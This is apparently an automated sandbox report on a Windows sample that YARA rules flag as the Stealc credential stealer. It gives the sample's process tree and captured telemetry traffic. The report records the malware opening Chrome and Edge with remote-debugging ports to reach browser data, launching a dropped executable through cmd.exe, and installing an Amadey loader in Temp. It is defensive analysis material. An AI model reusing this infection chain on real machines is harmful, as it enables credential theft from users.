0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49944	20.189.173.2	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:07:02 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732403218705&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5002 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-23 23:07:02 UTC	5002	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 32 33 3a 30 36 3a 35 38 2e 37 30 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 36 37 39 32 34 35 37 2d 38 62 37 61 2d 34 36 61 64 2d 61 37 32 62 2d 31 62 32 62 61 64 39 64 30 63 39 63 22 2c 22 65 70 6f 63 68 22 3a 22 36 38 35 33 30 31 34 33 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-23T23:06:58.704Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"06792457-8b7a-46ad-a72b-1b2bad9d0c9c","epoch":"685301433"},"app":{"locale"
2024-11-23 23:07:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=c5a865d51de844ca9d7f38a1baad3fcd&HASH=c5a8&LV=202411&V=4&LU=1732403222332; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 23:07:02 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=28df7510473349aeb43f38787ccaa91a; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 23:37:02 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3627 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 23:07:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49945	20.189.173.2	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:07:02 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732403219603&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5200 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1; msnup=
2024-11-23 23:07:02 UTC	5200	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 32 33 3a 30 36 3a 35 39 2e 36 30 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 36 37 39 32 34 35 37 2d 38 62 37 61 2d 34 36 61 64 2d 61 37 32 62 2d 31 62 32 62 61 64 39 64 30 63 39 63 22 2c 22 65 70 6f 63 68 22 3a 22 36 38 35 33 30 31 34 33 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-23T23:06:59.601Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"06792457-8b7a-46ad-a72b-1b2bad9d0c9c","epoch":"685301433"},"app":{"locale"
2024-11-23 23:07:03 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=99eac2421340424a8c809ac5505a2131&HASH=99ea&LV=202411&V=4&LU=1732403222817; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 23:07:02 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=63b93271c16047f68fead708ec3f4d3f; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 23:37:02 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3214 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 23:07:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49947	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:07:02 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:07:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:07:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230702Z-178bfbc474b9fdhphC1NYCac0n000000052g000000008071 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:07:02 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49946	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:07:02 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:07:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:07:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230702Z-174c587ffdf4zw2thC1TEBu34000000003m000000000m1g4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:07:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Target ID:	1
Start time:	18:06:14
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xba0000
File size:	1'828'352 bytes
MD5 hash:	4BAD8287C5A86EECE84AE3EEEF0E3ECE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2726494046.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.2207422987.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2726494046.0000000000C6C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:06:25
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:06:25
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2164,i,5060476444642578106,13692182818548436054,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:06:35
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	18:06:36
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2148,i,2588520207502892506,14518438234925408781,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:06:36
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	18:06:36
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	18:06:40
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6492 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	18:06:40
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6760 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	18:06:41
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:06:41
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	18:07:05
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHIDHDAAEHI.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	18:07:05
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	18:07:05
Start date:	23/11/2024
Path:	C:\Users\user\DocumentsHIDHDAAEHI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsHIDHDAAEHI.exe"
Imagebase:	0x580000
File size:	1'905'664 bytes
MD5 hash:	E91BDD398E42904CBC56344331953C6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2726792987.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2769275250.0000000000581000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	18:07:08
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x390000
File size:	1'905'664 bytes
MD5 hash:	E91BDD398E42904CBC56344331953C6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2820491853.0000000000391000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2779871985.0000000004A90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	18:07:09
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x390000
File size:	1'905'664 bytes
MD5 hash:	E91BDD398E42904CBC56344331953C6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2820209054.0000000000391000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2779780612.0000000005010000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	18:07:36
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6860 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	18:08:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7ff66f540000
File size:	1'905'664 bytes
MD5 hash:	E91BDD398E42904CBC56344331953C6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000024.00000003.3275164235.0000000005030000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000024.00000002.3464086926.0000000000391000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	18:08:19
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe"
Imagebase:	0x4b0000
File size:	4'399'616 bytes
MD5 hash:	E4CE436577C61894061CB66D79FF104C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
__aulldiv.LIBCMT ref: 6C9536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C953773
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C95377E
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9537C4
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9537CB
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C953801
__aulldiv.LIBCMT ref: 6C953883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C953902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C953918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C95394C

Strings

QPC, xrefs: 6C9538FC
GenuntelineI, xrefs: 6C953639
AuthcAMDenti, xrefs: 6C953946
MOZ_TIMESTAMP_MODE, xrefs: 6C9535DB
GTC, xrefs: 6C953912

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
